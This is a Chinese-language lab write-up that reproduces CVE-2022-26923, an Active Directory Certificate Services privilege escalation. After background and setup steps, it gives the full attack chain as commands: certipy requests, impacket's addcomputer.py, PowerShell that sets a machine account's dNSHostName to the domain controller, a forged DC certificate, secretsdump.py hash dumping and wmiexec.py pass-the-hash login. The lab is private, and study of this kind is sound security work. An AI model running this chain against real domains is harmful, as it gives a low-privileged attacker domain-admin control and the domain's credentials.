CVE-2022-26923域内最新提权漏洞复现

漏洞背景 #

2022年5月11日,微软发布5月份安全补丁更新,其中CVE-2022-26923漏洞引起了人们的注意,这是一个域内权限提升漏洞,该漏洞允许低特权用户在安装了活动目录证书服务(ADCS)的默认活动目录环境中将权限升级为域管理员。

该漏洞的存在是由于应用程序没有正确地对 Active Directory 域服务施加安全限制,当Active Directory证书服务在域上运行时,经过身份验证的攻击者可以在证书请求中包含特制的数据,然后从Active Directory证书服务中获取允许提升权限的证书,并将域中普通用户权限提升为域管理员权限。

影响范围 #

  • Windows 8.1
  • Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
  • Windows 11
  • Windows Server 2008,2012,2016,2019,2022

AD与AD 证书服务 #

AD

AD(Active Directory)是微软所提供的目录服务(查询,身份验证),活动目录的核心包含了活动目录数据库,在活动目录数据库中包含了域中所有的对象(用户、计算机、组…..),活动目录(Active Directory)是面向Windows Standard Server、Windows Enterprise Server以及Windows Datacenter Server的目录服务。

AD不仅用于身份和访问管理,还提供大量服务来帮助您运行和管理您的组织。其中许多服务鲜为人知或使用较少,这意味着在执行安全强化时他们经常被忽视。其中一项服务是Active Directory Certificate service AD证书服务(AD CS)。

AD 证书服务

AD CS 是 Microsoft的公钥基础结构(PKI)实施。由于AD在组织中提供了一定程度的信任,因此它可以用作CA来证明和委托信任。

AD CS用于多种用途,例如加密文件系统、创建和验证数字签名,甚至是用户身份验证,这也给攻击者提供了良好的攻击途径;因证书可以在凭证轮换中幸存下来,这意味着即使重置了受损帐号的密码,也不会使恶意生成的证书无效,从而提供长达10年的持续凭证盗窃!下图显示了证书请求和生成的流程。

编辑

环境搭建 #

安装好域环境后,域控继续安装Active Directory 证书服务

1. 选择 服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Directory 证书服务

编辑

点击两个下一步

编辑

一直下一步到安装完成。接着配置ADCS服务,只需要注意下面截图的内容,其他都是默认

编辑

编辑

ADCS配置完毕

编辑

漏洞复现 #

实验环境如下:

  • 域名:test.lab
  • 域控:win2016 IP: 192.168.10.2 机器名:DC
  • 域内主机:win2012 IP: 192.168.10.4
  • 攻击机:kali IP: 192.168.10.1
  • 普通权限域账号:yuwin2012/yuwin2012.com

域内定位CA主机 #

在域内机器上执行

certutil -config - -ping

如果域控没有安装AD证书服务则会显示“找不到活动证书颁发机构”

编辑编辑

否则弹出如下,CA名为“ test-DC-CA ”

编辑

kali配置dns #

修改kali的/etc/hosts文件并添加以下条目:

格式为:域控地址 域控机器名.域名 证书名域名 域控机器名

域控地址       域控机器名.域名  CA名      域名       域控机器名
192.168.10.2  DC.test.lab    test-DC-CA  test.lab  DC

编辑

测试证书生成 #

首先使用用户证书模板为我们的低权限域用户 (Username=yuwin2012、Password=yuwin2012.com) 生成证书:

使用Certipy——> https://github.com/ly4k/Certipy ,执行 python3 setup.py install 进行安装

certipy req '域名/域账户名:账户密码@域控主机名.域名' -ca CA名 -template  User
certipy req 'test.lab/yuwin2012:yuwin2012.com@DC.test.lab' -ca test-DC-CA -template  User

编辑

 验证此证书是否有效

让我们检查证书是否有效,以及它是否可以通过Certipy用于Kerberos身份验证

certipy auth -pfx yuwin2012.pfx

成功显示yuwin2012账户的ntlm hash

编辑

创建机器用户 #

使用addcomputer.py ——> https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py

创建一个机器用户:NEW_PC / Password123#

python3 addcomputer.py 'test.lab/yuwin2012:yuwin2012.com' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'

编辑

域控中发现也已经成功创建

编辑

为机器账户生成证书 #

让我们为我们创建的新的机器账户'NEW_PC'生成一个证书。要使用所述计算机的机器帐户,您需要在名称末尾添加一个“$”

certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine

编辑

修改DNS Hostname和SPN属性 #

在域内主机yuwin2012上执行如下

powershell
#以管理员身份运行,安装所需环境
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
#修改DNShost属性,并移除SPN属性
Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Set-ADComputer NEW_PC -ServicePrincipalName @{}
Set-ADComputer NEW_PC -DnsHostName DC.test.lab

编辑

移除了SPN属性及将dnshost设置为了Dc

编辑

伪造恶意证书 #

kali上执行

certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine

生成dc.pfx

编辑

验证证书是否有效

certipy auth -pfx dc.pfx 

返回hash,证书有效

编辑

导出域控hash #

python3 secretsdump.py 'test.lab/DC$@dc.test.lab' -hashes :7300df37572d276cbb6b7e2d459e59e5

编辑

wmiexec.py连接域控

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 administrator@192.168.10.2

编辑

参考: